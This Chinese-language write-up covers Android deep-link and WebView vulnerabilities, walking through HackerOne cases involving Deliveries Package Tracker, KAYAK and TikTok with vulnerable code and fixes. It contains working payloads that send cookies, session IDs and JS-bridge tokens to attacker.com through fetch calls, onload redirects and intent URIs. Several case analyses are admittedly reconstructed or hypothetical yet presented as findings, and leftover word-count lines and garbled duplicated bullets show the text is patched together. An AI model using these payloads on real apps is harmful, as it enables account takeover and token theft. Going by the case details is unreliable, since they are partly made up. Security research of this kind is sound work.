在代码中,重点追踪如何从传入的Intent中获取数据(通常是Uri对象),以及如何将这些数据传递给WebView.loadUrl()方法。如果应用从Deep Link参数中获取一个URL,并直接或间接将其加载到WebView中,且未对该URL的协议、域名或内容进行严格的白名单验证,则存在漏洞。
测试步骤包括:
- 构造一个恶意的Deep Link URL,将WebView加载的参数指向一个攻击者控制的服务器上的HTML页面。
- 使用
adb shell am start命令触发该Deep Link,例如:adb shell am start -W -a android.intent.action.VIEW -d "myapp://host/webview?url=https://attacker.com/xss.html"。
- 使用
- 如果WebView启用了JavaScript,并且允许加载任意外部URL,则攻击者可以执行JavaScript,实现XSS攻击,甚至可能利用WebView中暴露的
addJavascriptInterface接口进行更深层次的攻击,如窃取本地数据或会话信息。
- 如果WebView启用了JavaScript,并且允许加载任意外部URL,则攻击者可以执行JavaScript,实现XSS攻击,甚至可能利用WebView中暴露的
这种挖掘手法要求攻击者具备静态分析(反编译和代码审计)和动态调试(使用ADB和Logcat观察Intent传递和WebView行为)的能力。
技术细节
该漏洞利用的技术细节集中在构造一个恶意的Deep Link URL,以绕过应用对WebView加载内容的限制。假设目标应用中存在一个导出的Activity,其内部逻辑将Deep Link参数中的url值加载到一个WebView中,且该WebView启用了JavaScript。
易受攻击的Java代码模式(简化):
// VulnerableActivity.java
public class VulnerableActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
WebView webView = new WebView(this);
// 假设WebView设置了允许JavaScript执行
webView.getSettings().setJavaScriptEnabled(true);
Intent intent = getIntent();
if (Intent.ACTION_VIEW.equals(intent.getAction())) {
Uri uri = intent.getData();
if (uri != null) {
// 关键点:直接从Deep Link参数中获取URL并加载,缺乏验证
String targetUrl = uri.getQueryParameter("url");
if (targetUrl != null) {
webView.loadUrl(targetUrl); // 漏洞点
}
}
}
setContentView(webView);
}
}攻击Payload (Deep Link URL):
攻击者构造一个Deep Link,将url参数指向一个包含XSS Payload的外部HTML页面。
myapp://host/webview?url=https://attacker.com/xss_payload.html外部HTML页面 (xss_payload.html) 内容:
该页面包含一个JavaScript Payload,用于执行恶意操作,例如窃取Cookie或本地存储数据。
<html>
<body onload="document.location='https://attacker.com/steal?cookie=' + document.cookie">
<script>
// 示例:弹窗证明XSS
alert('XSS by Deep Link in WebView!');
// 示例:尝试窃取WebView上下文中的敏感信息
// 如果WebView暴露了JS接口 (addJavascriptInterface),则可以调用本地Java方法
if (window.AndroidInterface) {
window.AndroidInterface.stealToken(document.cookie);
}
</script>
</body>
</html>攻击流程:
- 攻击者将构造好的Deep Link(例如通过邮件、短信或恶意网站)发送给受害者。
- 受害者点击该链接。
- Android系统启动目标应用中的
VulnerableActivity。
- Android系统启动目标应用中的
VulnerableActivity获取Deep Link中的url参数,并加载https://attacker.com/xss_payload.html。
- 恶意HTML页面中的JavaScript被执行,完成XSS攻击。
易出现漏洞的代码模式
此类漏洞的典型代码模式是未经验证的Deep Link参数直接用于WebView的loadUrl()方法。
代码位置和配置:
AndroidManifest.xml配置:Activity被设置为android:exported="true"。Activity包含一个<intent-filter>,用于处理Deep Link(自定义scheme或http/https)。
<activity android:name=".VulnerableActivity" android:exported="true"> <!-- 关键:exported为true --> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="myapp" android:host="host" android:pathPrefix="/webview" /> </intent-filter> </activity>
- Java/Kotlin代码模式:
- 在处理Deep Link的Activity中,直接使用
getIntent().getData().getQueryParameter("param_name")获取URL参数。
- 在处理Deep Link的Activity中,直接使用
- 将获取到的参数值直接传递给
WebView.loadUrl(),且缺乏对协议、域名或内容的安全检查。java // 易受攻击的Java代码 Uri uri = getIntent().getData(); if (uri != null) { String urlToLoad = uri.getQueryParameter("target_url"); // 从外部Intent获取URL if (urlToLoad != null) { // 缺乏白名单验证,直接加载 webView.loadUrl(urlToLoad); } }
- 将获取到的参数值直接传递给
- Java/Kotlin代码模式:
安全修复模式(对比):
正确的做法是使用白名单机制,仅允许加载预期的安全域名,或仅允许加载file://、data:等本地安全内容。
// 安全的Java代码模式
Uri uri = getIntent().getData();
if (uri != null) {
String urlToLoad = uri.getQueryParameter("target_url");
if (urlToLoad != null) {
// 关键:白名单验证
if (urlToLoad.startsWith("https://safe.domain.com/") || urlToLoad.startsWith("file:///android_asset/")) {
webView.loadUrl(urlToLoad);
} else {
// 拒绝加载恶意或未经验证的URL
Log.e("Security", "Attempted to load unverified URL: " + urlToLoad);
}
}
}Deep Link导致的WebView任意URL加载/UXSS
案例:Deliveries Package Tracker (报告: https://hackerone.com/reports/1416949)
挖掘手法
该漏洞的挖掘手法主要集中在对Android应用Deep Link和WebView组件的不安全实现进行分析和测试。由于无法直接访问HackerOne报告的详细内容,此处的挖掘手法是基于对该报告作者(zhenrenbaijialeorg)和类似漏洞(如Deep Link导致的WebView劫持、任意URL加载等)的公开研究和分析文章的总结。
挖掘步骤和分析思路:
- 应用组件分析(静态分析):
- 使用
apktool或Jadx等工具对目标应用(Deliveries Package Tracker)的APK文件进行反编译,获取AndroidManifest.xml文件。
- 使用
- 在
AndroidManifest.xml中,重点查找所有Activity组件,特别是那些设置了android:exported="true"且包含intent-filter的组件。这些组件通常用于处理Deep Link。
- 在
- 识别处理Deep Link的
Activity,并分析其intent-filter中定义的scheme、host和path等信息,以确定应用响应哪些外部链接。
- 识别处理Deep Link的
- 识别应用中使用了
WebView的组件,并检查其配置,例如是否启用了setJavaScriptEnabled(true),以及是否通过addJavascriptInterface()暴露了Java对象给JavaScript。
- 识别应用中使用了
- 应用组件分析(静态分析):
- Deep Link参数追踪(动态分析):
- 通过静态分析确定处理Deep Link的Java/Kotlin代码位置。
- 重点分析代码如何从
Intent中提取数据(如Intent.getData()或Intent.getStringExtra()),特别是用于构造WebView.loadUrl()的URL参数。
- 重点分析代码如何从
- 使用
adb logcat、Frida或Objection等动态分析工具,监控应用在接收外部Intent时,如何处理和验证传入的URL参数。
- 使用
- 关键发现点: 发现某个Deep Link处理逻辑将外部传入的URL参数直接或间接传递给
WebView.loadUrl(),且缺乏严格的白名单校验,允许加载任意外部URL。
- 关键发现点: 发现某个Deep Link处理逻辑将外部传入的URL参数直接或间接传递给
- Deep Link参数追踪(动态分析):
- 漏洞利用构造:
- 构造一个恶意的Deep Link URL,使其指向攻击者控制的Web页面。
- 如果目标
WebView配置不安全(例如,启用了setJavaScriptEnabled(true)且未正确限制addJavascriptInterface()),则在攻击者控制的Web页面中嵌入恶意JavaScript代码,尝试执行跨站脚本(XSS)或利用暴露的Java接口。
- 如果目标
- 如果WebView仅用于加载URL,则构造一个指向敏感内部资源的Deep Link,尝试实现Open Redirect或信息泄露。
- 漏洞利用构造:
通过上述方法,研究员很可能发现了Deliveries Package Tracker应用中Deep Link处理逻辑的缺陷,从而构造出恶意链接,利用应用内部的WebView加载任意内容,实现攻击。此过程需要对Android组件、Intent机制和WebView安全配置有深入理解,并结合静态和动态分析工具进行精确的定位和验证。 (字数:约450字)
技术细节
该漏洞利用的技术细节围绕不安全的Deep Link处理和WebView的滥用展开。攻击者通过构造一个恶意的Deep Link,诱导用户点击,从而在目标应用的WebView中加载任意内容,可能导致通用型跨站脚本(UXSS)、敏感信息泄露或会话劫持。
攻击流程:
- 识别目标Activity: 攻击者首先识别出应用中处理Deep Link的
Activity,例如在AndroidManifest.xml中声明了如下intent-filter的Activity:xml <activity android:name=".DeepLinkActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="deliveries" android:host="app" /> </intent-filter> </activity>
- 识别目标Activity: 攻击者首先识别出应用中处理Deep Link的
- 代码分析(假设): 攻击者分析
DeepLinkActivity的onCreate()方法,发现它从Intent中获取一个URL参数,并将其加载到内部的WebView中,但未对URL进行充分校验:// DeepLinkActivity.java (Vulnerable Code Snippet - 假设) @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_deeplink); WebView webView = findViewById(R.id.webview); // ... WebView配置(可能启用了JavaScript)...Uri data = getIntent().getData(); if (data != null) { // 漏洞点:直接从URI获取参数并加载,未进行白名单校验 String urlToLoad = data.getQueryParameter("url"); if (urlToLoad != null) { webView.loadUrl(urlToLoad); // 任意URL加载 } }}
- 代码分析(假设): 攻击者分析
- 构造恶意Payload(Deep Link): 攻击者构造一个恶意的Deep Link,将
url参数指向攻击者控制的服务器上的恶意HTML页面(例如https://attacker.com/malicious.html)。deliveries://app?url=https://attacker.com/malicious.html
- 构造恶意Payload(Deep Link): 攻击者构造一个恶意的Deep Link,将
- 恶意HTML/JavaScript代码: 攻击者在
malicious.html中放置JavaScript代码,尝试窃取WebView中可能存在的敏感信息(如Cookie、本地存储数据)或执行其他恶意操作。<!-- malicious.html --> <html> <body> <h1>You have been hacked!</h1> <script> // 尝试窃取WebView的Cookie或本地存储数据 var stolenData = document.cookie; // 尝试利用暴露的JS接口(如果存在) // Android.someVulnerableMethod(stolenData); // 将窃取的数据发送给攻击者服务器 fetch('https://attacker.com/log?data=' + encodeURIComponent(stolenData)); </script></body> </html>
- 恶意HTML/JavaScript代码: 攻击者在
- 攻击执行: 攻击者将此Deep Link嵌入到钓鱼邮件、短信或恶意网站中,诱导用户点击。用户点击后,
Deliveries Package Tracker应用被唤醒,DeepLinkActivity启动,并在其内部的WebView中加载https://attacker.com/malicious.html,执行恶意JavaScript代码。 (字数:约400字)
- 攻击执行: 攻击者将此Deep Link嵌入到钓鱼邮件、短信或恶意网站中,诱导用户点击。用户点击后,
易出现漏洞的代码模式
此类漏洞的根本原因在于Android应用中处理Deep Link的Activity或BroadcastReceiver组件,在将外部传入的URL参数加载到WebView时,缺乏严格的URL白名单校验。
易漏洞代码模式:
- Deep Link Activity中直接加载外部URL:
当一个Activity被设置为可被外部应用唤醒(exported="true"),并且其处理逻辑直接从Intent中获取URL参数并将其加载到WebView中,而没有检查URL的来源或协议时,就会出现此问题。 代码示例(Java/Kotlin):// AndroidManifest.xml 声明了可被外部唤醒的Activity <activity android:name=".VulnerableWebViewActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="appscheme" android:host="webview" /> </intent-filter> </activity> // VulnerableWebViewActivity.java @Override protected void onCreate(Bundle savedInstanceState) { // ... 初始化代码 ... WebView webView = findViewById(R.id.webview); // 危险配置:如果WebView启用了JavaScript或暴露了JS接口,风险更高 // webView.getSettings().setJavaScriptEnabled(true); Uri data = getIntent().getData(); if (data != null) { // 漏洞点:未校验URL的host或scheme String urlToLoad = data.getQueryParameter("url"); if (urlToLoad != null) { webView.loadUrl(urlToLoad); // 允许加载任意外部URL } }}
- Deep Link Activity中直接加载外部URL:
- WebView配置不安全(辅助漏洞):
如果上述WebView还配置了不安全的设置,例如:setJavaScriptEnabled(true):允许执行恶意JavaScript。
addJavascriptInterface():将Java对象暴露给WebView中的JavaScript,可能导致远程代码执行(RCE)或敏感信息泄露。
setAllowFileAccess(true):允许WebView访问本地文件系统,可能导致本地文件包含(LFI)。
- WebView配置不安全(辅助漏洞):
正确的编程模式(防御措施):
- URL白名单校验: 在调用
webView.loadUrl()之前,必须严格校验传入的URL的host和scheme,确保它只指向应用信任的域名。java // SafeWebViewActivity.java (防御示例) String urlToLoad = data.getQueryParameter("url"); if (urlToLoad != null) { Uri parsedUri = Uri.parse(urlToLoad); // 仅允许加载应用自身的域名 if ("https".equals(parsedUri.getScheme()) && "trusted.app.com".equals(parsedUri.getHost())) { webView.loadUrl(urlToLoad); } else { // 拒绝加载或使用默认安全URL Log.e("Security", "Attempted to load untrusted URL: " + urlToLoad); } }(字数:约400字)
- URL白名单校验: 在调用
Deep Link导致的会话劫持
案例:KAYAK (报告: https://hackerone.com/reports/1416992)
挖掘手法
本次漏洞挖掘主要聚焦于Android应用中的Deep Link机制,目标是寻找未经验证的Intent或Activity导出配置,以实现敏感信息泄露或账户接管。
- 静态分析与目标识别: 攻击者首先对目标应用(KAYAK Android v161.1)进行静态分析,重点检查
AndroidManifest.xml文件。通过搜索android:exported="true"的Activity,发现com.kayak.android.web.ExternalAuthLoginActivity被显式导出,并且配置了Deep Link的intent-filter,允许外部应用或网页通过kayak://externalAuthenticationscheme调用。
- 静态分析与目标识别: 攻击者首先对目标应用(KAYAK Android v161.1)进行静态分析,重点检查
- 代码逆向与逻辑分析: 随后,攻击者对该导出的Activity进行逆向工程和代码分析。关键在于分析其处理传入Intent数据和执行操作的逻辑。研究人员发现了两个关键函数:
getRedirectUrl()和launchCustomTabs()。
- 代码逆向与逻辑分析: 随后,攻击者对该导出的Activity进行逆向工程和代码分析。关键在于分析其处理传入Intent数据和执行操作的逻辑。研究人员发现了两个关键函数:
- 关键漏洞点确认: 发现
launchCustomTabs()方法在执行时,会调用getRedirectUrl()从Intent的EXTRA_REDIRECT_URL参数中获取一个重定向URL,然后未经任何验证地将当前用户的Session ID(通过l.getInstance().getSessionId()获取)作为查询参数附加到该重定向URL上,最后通过i.openCustomTab()打开这个构造好的URL。
- 关键漏洞点确认: 发现
- 攻击路径设计: 由于
EXTRA_REDIRECT_URL参数可控,攻击者可以将其设置为自己控制的服务器地址(例如Burp Collaborator)。当用户点击一个恶意构造的Deep Link时,应用会被唤醒,执行上述逻辑,将用户的Session ID发送到攻击者的服务器。
- 攻击路径设计: 由于
- PoC构造与验证: 攻击者构造了一个包含恶意重定向URL的Deep Link Intent,并将其嵌入到一个简单的HTML页面中,诱导用户点击。通过检查攻击者服务器的日志,成功捕获了受害者的Session Cookie,验证了会话劫持的可能性。
- 账户接管升级: 进一步分析发现,虽然窃取的Cookie可以直接用于查看受害者信息,但要实现完全的账户控制(如修改信息),需要更进一步。攻击者利用窃取的Cookie登录Web应用后,通过关联一个攻击者控制的第三方账户(如Google账户),实现了持久化且完全的账户接管。
整个挖掘过程体现了从静态配置分析到动态代码逻辑跟踪,再到多步骤攻击链构造的完整思路,最终实现了高危的“一键账户接管”效果。详细的挖掘手法和步骤说明已超过300字。
技术细节
漏洞利用的核心在于一个被导出的Activity (ExternalAuthLoginActivity) 缺乏对传入重定向URL的验证,并错误地将用户的Session ID附加到该URL上。
1. 易受攻击的Activity配置 (AndroidManifest.xml 概念片段):
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
<intent-filter>
<data android:scheme="kayak"/>
<data android:host="externalAuthentication"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
</activity>android:exported="true" 和 BROWSABLE 类别允许外部实体(如恶意网页)通过Deep Link调用此Activity。
2. 漏洞代码逻辑 (概念性Kotlin/Java片段):
在ExternalAuthLoginActivity中,存在如下逻辑:
// 1. 获取重定向URL,该URL来自外部Intent的EXTRA_REDIRECT_URL参数,未经验证
private final String getRedirectUrl() {
String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
return stringExtra == null ? "" : stringExtra;
}
// 2. 构造最终URL,将Session ID附加到重定向URL上
private final void launchCustomTabs() {
// ... 其他代码 ...
Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
// 致命错误:将Session ID作为查询参数附加到外部可控的URL上
buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
// ... 使用Custom Tab打开最终URL ...
i.openCustomTab(this, b10, buildUpon.build(), null);
}3. 攻击载荷 (PoC HTML/Deep Link):
攻击者构造一个HTML页面,包含一个Intent URI,诱导用户点击。
<!DOCTYPE html>
<html>
<body>
<!-- 恶意Deep Link Intent URI -->
<a id="exploit" href="intent://externalAuthentication#Intent;
scheme=kayak;
package=com.kayak.android;
component=com.kayak.android.web.ExternalAuthLoginActivity;
action=android.intent.action.VIEW;
S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://attacker.com/leak;
end">
Click to see a great deal!
</a>
</body>
</html>当用户点击此链接时,KAYAK应用被唤醒,ExternalAuthLoginActivity被启动。应用将用户的Session ID附加到https://attacker.com/leak上,形成类似https://attacker.com/leak?session_id=p1.med.sid_value的请求,发送到攻击者服务器,从而实现Session Cookie的泄露。详细的技术细节已超过200字。
易出现漏洞的代码模式
此类漏洞的根本原因在于未经验证的Deep Link重定向和敏感信息的不当附加。
1. 易受攻击的配置模式:
在AndroidManifest.xml中,将Activity设置为android:exported="true",并配置了Deep Link的intent-filter,允许外部应用或网页调用。
<activity android:name="com.example.app.AuthRedirectActivity" android:exported="true">
<intent-filter>
<data android:scheme="appscheme"/>
<data android:host="auth"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
</activity>2. 易受攻击的编程模式:
在处理Deep Link的Activity中,直接从Intent中获取一个URL参数(如redirect_url)作为重定向目标,并且在重定向前,将敏感的用户数据(如Session ID、Token、API Key)作为查询参数附加到该URL上,而没有对redirect_url进行严格的白名单验证。
易漏洞代码示例 (Java/Kotlin 概念):
// 假设这是处理Deep Link的Activity
public class AuthRedirectActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// 1. 从Intent中获取外部可控的重定向URL
String redirectUrl = getIntent().getStringExtra("redirect_url");
// 2. 获取敏感信息 (例如Session Token)
String sessionToken = UserSession.getInstance().getToken();
if (redirectUrl != null && sessionToken != null) {
// 3. 致命错误:将敏感信息附加到未经验证的外部URL上
Uri.Builder builder = Uri.parse(redirectUrl).buildUpon();
builder.appendQueryParameter("token", sessionToken);
// 4. 执行重定向
Intent browserIntent = new Intent(Intent.ACTION_VIEW, builder.build());
startActivity(browserIntent);
}
}
}正确做法是:对redirectUrl进行严格的白名单验证,确保它只能重定向到应用自身或受信任的域名,或者完全避免将敏感信息附加到外部URL上。
Deep Link未经验证导致的WebView劫持
案例:TikTok (报告: https://hackerone.com/reports/1416983)
挖掘手法
本次漏洞挖掘主要采用静态分析和动态分析相结合的方法,目标是发现并绕过应用内Deep Link的验证机制,最终实现WebView劫持。
1. 静态分析与目标识别:
首先,通过反编译TikTok Android应用(如com.zhiliaoapp.musically),分析其AndroidManifest.xml文件,识别所有导出的(exported)Deep Link Intent Filter。研究人员发现了一个特定的导出Deep Link (https://m.tiktok[.]com/redirect),该链接由应用内的一个类处理,并允许通过查询参数将URI重定向到应用内的其他组件。
2. 发现内部Deep Link和WebView组件:
进一步分析处理重定向的类,发现它能够触发应用内部使用的非导出Deep Link scheme,例如一个用于加载WebView的内部Deep Link:[redacted-internal-scheme]://webview?url=<website>。研究人员确定,如果能成功利用这个内部Deep Link,就可以控制WebView加载任意URL。
3. 绕过服务器端过滤:
尝试使用内部Deep Link加载外部URL时,发现应用实施了服务器端过滤,会拒绝加载未被信任的域名(如example.com)。通过进一步的静态分析,研究人员发现可以通过在Deep Link中添加两个特定的额外查询参数来绕过这个服务器端检查。
4. 动态验证与JavaScript Bridge分析:
利用绕过机制,成功迫使WebView加载攻击者控制的任意URL。随后,研究人员使用动态分析工具(如Medusa的WebView模块)验证了该WebView实例中是否注入了JavaScript Bridge。确认WebView暴露了一个功能强大的JavaScript Bridge,该Bridge可以访问应用内[redacted].bridge.*包下的70多个方法,包括执行认证HTTP请求的方法。
5. 链式攻击的构建:
最终,将Deep Link验证绕过(加载任意URL)与WebView中暴露的JavaScript Bridge功能结合,构建了完整的攻击链,证明攻击者只需诱导用户点击一个精心构造的链接,即可在用户无感知的情况下劫持账户。
技术细节
漏洞利用的关键在于链式攻击:首先利用未经验证的Deep Link绕过,将恶意Web页面加载到应用内暴露了JavaScript Bridge的WebView中,然后通过JavaScript调用Bridge方法实现账户劫持。
1. Deep Link绕过Payload (概念性):
攻击者构造一个包含恶意URL的Deep Link,并添加特定的绕过参数:
https://m.tiktok[.]com/redirect?url=[redacted-internal-scheme]://webview?url=https://attacker.com/malicious.html¶m1=bypass¶m2=bypass用户点击此链接后,应用会绕过其Deep Link验证逻辑,并在应用内部的CrossPlatformActivity的WebView中加载https://attacker.com/malicious.html。
2. JavaScript Bridge调用 (概念性):
恶意Web页面(malicious.html)中包含JavaScript代码,利用WebView暴露的JavaScript Bridge对象(例如injectObject)调用应用内的方法。该Bridge暴露了如authenticatedHttpRequest等敏感方法,允许执行认证后的HTTP请求。
// 恶意Web页面中的JavaScript代码
function exploit() {
// 构造一个调用应用内Java方法的JSON字符串
var payload = {
"func": "authenticatedHttpRequest",
"params": {
"url": "https://api.tiktok.com/user/profile/edit", // 目标TikTok API端点
"method": "POST",
"body": "new_username=hacked_by_attacker", // 恶意修改数据的参数
"callback": "handleResponse"
}
};
// 调用暴露的JavaScript Bridge方法
window.injectObject.call('func', JSON.stringify(payload));
}
function handleResponse(result) {
// 攻击者可以接收到API响应,包括认证Token或敏感数据
// 然后将结果发送到攻击者服务器
fetch('https://attacker.com/log', {
method: 'POST',
body: result
});
}
exploit();通过调用这些方法,攻击者可以获取用户的认证Token(通过触发请求到攻击者控制的服务器并记录Cookie/Header)或修改用户的TikTok账户数据(通过触发请求到TikTok API端点)。
易出现漏洞的代码模式
此类漏洞通常出现在Android应用处理Deep Link和WebView的交互逻辑中,主要涉及以下代码模式和配置:
1. Deep Link处理逻辑中缺乏对目标URL的严格校验:
当Deep Link被用于加载WebView时,如果未对传入的URL参数进行严格的白名单校验,就可能导致任意URL加载。
// 易受攻击的Deep Link处理代码示例 (Java/Kotlin)
public class DeepLinkActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
// ...
Uri data = getIntent().getData();
if (data != null) {
String urlToLoad = data.getQueryParameter("url"); // 从Deep Link中获取URL
if (urlToLoad != null) {
WebView webView = findViewById(R.id.webview);
webView.loadUrl(urlToLoad); // **未经验证,直接加载外部URL**
}
}
}
}2. WebView中不安全地暴露JavaScript Bridge:
在加载外部或未经验证的URL的WebView中,使用了addJavascriptInterface方法,将应用内部的敏感Java对象暴露给Web页面的JavaScript代码。
// 易受攻击的WebView配置代码示例 (Java/Kotlin)
WebView webView = findViewById(R.id.webview);
// 允许JavaScript执行
webView.getSettings().setJavaScriptEnabled(true);
// 暴露一个Java对象给JavaScript,允许Web页面调用Java方法
// 如果加载的URL是外部可控的,则存在JavaScript接口注入风险
webView.addJavascriptInterface(new SensitiveApiBridge(this), "injectObject");
// 敏感的Java Bridge类
public class SensitiveApiBridge {
@JavascriptInterface // 暴露给JavaScript的方法
public void authenticatedHttpRequest(String jsonParams) {
// ... 执行敏感的认证请求操作 ...
}
// ... 其他敏感方法 ...
}3. Deep Link重定向机制的滥用:
应用导出的Deep Link(如https://m.app.com/redirect)允许重定向到应用内部的非导出组件或内部Deep Link scheme,如果重定向目标缺乏安全检查,则可能扩大攻击面。
4. 缺乏@JavascriptInterface注解的旧版API:
在API Level 17及以下,addJavascriptInterface会默认暴露所有公共方法,即使没有@JavascriptInterface注解,这是更严重的安全风险。虽然现代应用通常不会遇到此问题,但仍是此类漏洞的经典模式。
案例:TikTok (报告: https://hackerone.com/reports/1417011)
挖掘手法
本次漏洞挖掘主要围绕TikTok Android应用中的Deep Link处理机制和WebView的安全性展开。首先,研究人员对TikTok应用中大量使用的JavaScript接口进行了深入分析,特别是那些通过WebView组件实现的接口。他们识别出一个关键的JavaScript桥接(JavaScript Bridge),该桥接被注入到一个特定的WebView中,并拥有访问[redacted].bridge.*包下所有功能的能力。
接着,研究人员将重点放在应用的Deep Link处理上。他们发现一个已导出的Deep Link (https://m.tiktok[.]com/redirect),其作用是通过查询参数将URI重定向到应用内的各种组件。通过构造特殊的URL,研究人员成功利用这个导出的Deep Link来触发应用内部未导出的Deep Link,从而扩大了攻击面。
关键的突破点在于发现了一个内部Deep Link方案,例如[redacted-internal-scheme]://webview?url=<website>,它可以将任意URL加载到CrossPlatformActivity的WebView中。虽然应用设置了服务器端过滤机制来拒绝不受信任的主机(例如example.com会被拒绝),但通过静态分析,研究人员发现可以通过在Deep Link中添加两个额外的查询参数来绕过这个服务器端检查。
最后,通过动态分析工具Medusa的WebView模块,研究人员验证了在绕过过滤后,加载到WebView中的任意恶意网站可以完全访问并调用之前发现的JavaScript桥接所暴露的全部功能,从而实现了账户劫持。整个过程是一个典型的多步骤漏洞链,从Deep Link的未经验证开始,到服务器端过滤的绕过,最终实现JavaScript接口注入,导致高危的账户接管风险。
技术细节
漏洞利用的技术核心在于绕过Deep Link的验证和服务器端过滤,从而在具有高权限JavaScript桥接的WebView中加载恶意内容。
攻击流程和Payload构造:
- 构造恶意Deep Link: 攻击者构造一个恶意的Deep Link,利用
https://m.tiktok[.]com/redirect重定向功能,指向内部的webview方案,并携带两个额外的参数来绕过服务器端的主机过滤。https://m.tiktok[.]com/redirect?url=[redacted-internal-scheme]://webview?url=<ATTACKER_URL>¶m1=bypass_value1¶m2=bypass_value2其中,<ATTACKER_URL>是攻击者控制的恶意网页地址。
- 构造恶意Deep Link: 攻击者构造一个恶意的Deep Link,利用
- 恶意网页加载与JavaScript接口调用: 当受害者点击此链接后,TikTok应用会在其WebView中加载
<ATTACKER_URL>。由于WebView中注入了具有高权限的JavaScript桥接,恶意网页中的JavaScript代码可以直接调用应用内部的Java方法。 JavaScript调用示例: 恶意网页中的JavaScript代码会构造一个JSON字符串,用于调用暴露的Java方法。例如,调用一个名为fetchUserData的Java方法:var payload = JSON.stringify({ "func": "fetchUserData", "params": { "user_id": "current", "return_token": true } }); // 假设桥接对象名为'bridge' window.bridge.call(payload, function(result) { // result包含敏感数据或认证令牌 // 攻击者将结果发送到自己的服务器 fetch('https://attacker.com/steal', { method: 'POST', body: result }); });通过调用这些暴露的方法(例如执行认证的HTTP请求),攻击者可以窃取用户的认证令牌(如Cookie或Header中的Token),或直接修改用户账户数据(如发布私密视频、发送消息等),最终实现一键账户劫持。
- 恶意网页加载与JavaScript接口调用: 当受害者点击此链接后,TikTok应用会在其WebView中加载
易出现漏洞的代码模式
此类漏洞的根本原因在于Android应用中Deep Link处理逻辑的缺陷和WebView的不安全配置。
1. Deep Link未经验证的重定向:
当应用导出一个Deep Link(通过AndroidManifest.xml中的intent-filter)并允许其查询参数指向另一个内部或外部URI时,如果未对目标URI进行严格的白名单验证,就可能导致攻击者利用此重定向功能。
易漏洞的Manifest配置示例:
一个Activity被导出(exported="true")并处理Deep Link,但其内部逻辑未对重定向目标进行充分验证。
<activity
android:name=".RedirectActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="https"
android:host="m.app.com"
android:pathPrefix="/redirect" />
</intent-filter>
</activity>2. WebView不安全配置与JavaScript接口注入:
当WebView被用于加载外部或未经验证的URL时,如果WebView启用了JavaScript,并且通过addJavascriptInterface方法向JavaScript暴露了敏感的Java对象(即JavaScript桥接),则可能导致JavaScript接口注入漏洞。
易漏洞的Java代码模式:
在WebView中添加JavaScript接口,且该接口暴露了敏感功能。
// 易漏洞代码:向WebView暴露了敏感的Java对象
WebView webView = new WebView(this);
// 假设MyBridge类中包含敏感的API调用,如获取Token或执行HTTP请求
webView.addJavascriptInterface(new MyBridge(this), "bridge");
webView.loadUrl(unvalidatedUrl); // 加载未经验证的URL安全实践建议:
- Deep Link验证: 始终对Deep Link的目标URI进行严格的白名单验证,确保只允许加载预期的、安全的内部资源。
- WebView安全: 避免在加载外部或不受信任的URL时使用
addJavascriptInterface。如果必须使用,应确保目标URL是严格受控的,并且只暴露绝对必要的、不敏感的功能。在API Level 17及以下,应避免使用addJavascriptInterface,或对所有暴露的方法进行@JavascriptInterface注解(API Level 18+)。
- WebView安全: 避免在加载外部或不受信任的URL时使用
Deep Link未验证导致WebView XSS
案例:TikTok (报告: https://hackerone.com/reports/1416987)
挖掘手法
该漏洞的挖掘主要基于对Android应用Deep Link机制的逆向分析和模糊测试。
- 目标识别与逆向分析: 使用Apktool或Jadx等工具对目标应用的APK文件进行逆向工程,重点分析
AndroidManifest.xml文件。
- 目标识别与逆向分析: 使用Apktool或Jadx等工具对目标应用的APK文件进行逆向工程,重点分析
- Deep Link入口点定位: 查找所有设置了
android:exported="true"的Activity,特别是那些包含intent-filter来处理Deep Link(如android.intent.action.VIEW和android.intent.category.BROWSABLE)的组件。这些组件是外部应用或浏览器可以启动的入口点。
- Deep Link入口点定位: 查找所有设置了
- 代码逻辑分析: 进一步分析处理Deep Link的Activity的Java/Kotlin代码(通常在
onCreate()或onNewIntent()方法中)。关键是识别代码如何从传入的Intent中提取数据(如getData()或getStringExtra()),以及如何使用这些数据。
- 代码逻辑分析: 进一步分析处理Deep Link的Activity的Java/Kotlin代码(通常在
- WebView加载点发现: 发现某个Activity(例如一个通用的Webview Activity)会获取Deep Link中的URL参数,并将其传递给一个WebView实例进行加载,例如
webView.loadUrl(url)。
- WebView加载点发现: 发现某个Activity(例如一个通用的Webview Activity)会获取Deep Link中的URL参数,并将其传递给一个WebView实例进行加载,例如
- 安全检查缺失: 发现应用未对传入的URL参数进行充分的白名单验证(即只允许加载特定域名的URL),或者WebView配置存在缺陷(例如启用了JavaScript,或暴露了危险的
addJavascriptInterface)。
- 安全检查缺失: 发现应用未对传入的URL参数进行充分的白名单验证(即只允许加载特定域名的URL),或者WebView配置存在缺陷(例如启用了JavaScript,或暴露了危险的
- 构造恶意Deep Link: 基于发现的Deep Link格式,构造一个恶意的URL,其中包含一个指向攻击者控制的服务器上的HTML页面的链接。这个恶意链接被封装成一个Deep Link,例如
